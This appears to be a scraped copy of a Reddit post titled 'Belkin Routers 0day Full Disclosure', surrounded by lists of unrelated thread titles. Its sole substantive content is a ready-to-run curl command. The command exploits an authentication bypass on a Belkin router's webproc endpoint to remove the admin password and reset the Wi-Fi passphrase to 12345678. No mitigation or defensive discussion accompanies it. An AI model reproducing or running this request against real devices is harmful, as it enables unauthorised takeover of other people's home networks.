3. Belkin Routers 0day Full Disclosure

Belkin Routers 0day Full Disclosure

Sample curl to remove the web GUI password without authentication:

curl -i -s -k -X 'POST' \ -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:41.0) Gecko/20100101 Firefox/41.0' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'Referer: http://192.168.2.1/wireless_security.htm' \ --data-binary $'obj-action=set&var%3Apage=wireless_security&var%3Amenu=wireless&errorpage=html%2Fpage%2Fportforwd.ajax.js&var%3ACacheLastData=U0VMRUNUX1NlY3VyaXR5b3B0aW9ucz13cGF8U0VMRUNUX1dwYU1vZGU9V1BBMi1QU0t8cG1haW5mMDAwMT1lbl91c3x3bF93cGEyX3BzazE9cGFzc3dvcmR8cHNrX29ic2N1cmU9ZmFsc2V8SU5QVVRfcmFkaW9pbmRleDE9ZmFsc2V8MWtleTE9fDFrZXkyPXwxa2V5Mz18MWtleTQ9fDFrZXk1PXwxa2V5Nj18MWtleTc9fDFrZXk4PXwxa2V5OT18MWtleTEwPXwxa2V5MTE9fDFrZXkxMj18MWtleTEzPXxJTlBVVF9yYWRpb2luZGV4Mj1mYWxzZXwya2V5MT18MmtleTI9fDJrZXkzPXwya2V5ND18MmtleTU9fDJrZXk2PXwya2V5Nz18MmtleTg9fDJrZXk5PXwya2V5MTA9fDJrZXkxMT18MmtleTEyPXwya2V5MTM9fElOUFVUX3JhZGlvaW5kZXgzPWZhbHNlfDNrZXkxPXwza2V5Mj18M2tleTM9fDNrZXk0PXwza2V5NT18M2tleTY9fDNrZXk3PXwza2V5OD18M2tleTk9fDNrZXkxMD18M2tleTExPXwza2V5MTI9fDNrZXkxMz18SU5QVVRfcmFkaW9pbmRleDQ9ZmFsc2V8NGtleTE9fDRrZXkyPXw0a2V5Mz18NGtleTQ9fDRrZXk1PXw0a2V5Nj18NGtleTc9fDRrZXk4PXw0a2V5OT18NGtleTEwPXw0a2V5MTE9fDRrZXkxMj18NGtleTEzPXxwYXNzcGhyYXNlU3RyV2VwMTA0PXxJTlBVVF9yYWRpb2tleTE9ZmFsc2V8RU5DMTE9NTF8RU5DMTI9YzB8RU5DMTM9OWJ8RU5DMTQ9MDJ8RU5DMTU9OTZ8SU5QVVRfcmFkaW9rZXkxPWZhbHNlfEVOQzIxPTY4fEVOQzIyPTQ3fEVOQzIzPTI1fEVOQzI0PTg5fEVOQzI1PTE1fElOUFVUX3JhZGlva2V5Mz1mYWxzZXxFTkMzMT0zZXxFTkMzMj04YnxFTkMzMz1iYnxFTkMzND05M3xFTkMzNT1iZnxJTlBVVF9yYWRpb2tleTQ9ZmFsc2V8RU5DNDE9NGR8RU5DNDI9ZTF8RU5DNDM9MWN8RU5DNDQ9NzR8RU5DNDU9ODJ8cGFzc3BocmFzZVN0cldlcDQwPXxwMTIwMVBhc3N3b3JkPQ%3D%3D&%3AInternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_TWSZ-COM_WPAObscurePSK=0&%3AInternetGatewayDevice.LANDevice.1.WLANConfiguration.1.BeaconType=11i&%3AInternetGatewayDevice.LANDevice.1.WLANConfiguration.1.IEEE11iEncryptionModes=AESEncryption&%3AInternetGatewayDevice.LANDevice.1.WLANConfiguration.1.IEEE11iAuthenticationMode=PSKAuthentication&%3AInternetGatewayDevice.LANDevice.1.WLANConfiguration.1.PreSharedKey.1.KeyPassphrase=12345678&%3AInternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_TWSZ-COM_WEPEncFlag=0' \ 'http://192.168.2.1/cgi-bin/webproc?getpage=html/page/portforwd.ajax.js&var:page=*&timestamp=1446785921908'

/r/cybersecurity Thread
Previous
Next

Recently removed from /r/cybersecurity

What makes a good CISO? What do 'very experienced' people with multiple active positions actually do? The harsh truth I feeling right now What's your opinion on the current state of Cyber security? Mentorship Monday - Post All Career, Education and Job questions here! ATT&CK® 2020 Results Out - Wizard-Spider + Sandworm Draft Kings hacked - hackers steal $300K in credential stuffing attack What is it like dating when your job is classified? Is it possible for an undergraduate student to obtain a Top Secret clearance? Can we collectively make an effort to better our prospects for the profession? Any feedback/experiences to help transition into cybersecurity Mentorship Monday - Post All Career, Education and Job questions here! Pathway for government work? The existence of cybersecurity internships are proof that cybersecurity requirements are BS What does a cyber security engineer do?

More Random Comments

DeShone Kizer with arguably the most outlandish quote ever before the 2017 draft UC Santa Cruz striking graduate students who were fired were being unreasonable, and will regret being fired later. Treat atheists as you would treat a fellow Christian To Bernie supporters looking to get votes from us The behavior of the people of what Latinamerican country has surprised you the most? Do you think there are any indirect indicators that the number of infection is starting to snow ball? Jammu civic body renames historic City Chowk to Bharat Mata Chowk AITA for informing my boss about the temporary restraining order I have against another employee in the company? Just trying to make people smile Telstra Cut My Landline Without Warning Because I Don't Have NBN AITA for posting really publicly about a nasty sign on my dorm room door and about who did it? But barking at 1 AM is just what dogs doooooooooo (about 100 feet from my back window/porch) Ilhan Omar To Join Bernie Sanders At Primary Eve Rally People say life gets better, but that’s a fucking lie. That Nioh 2 demo. Just... "oof".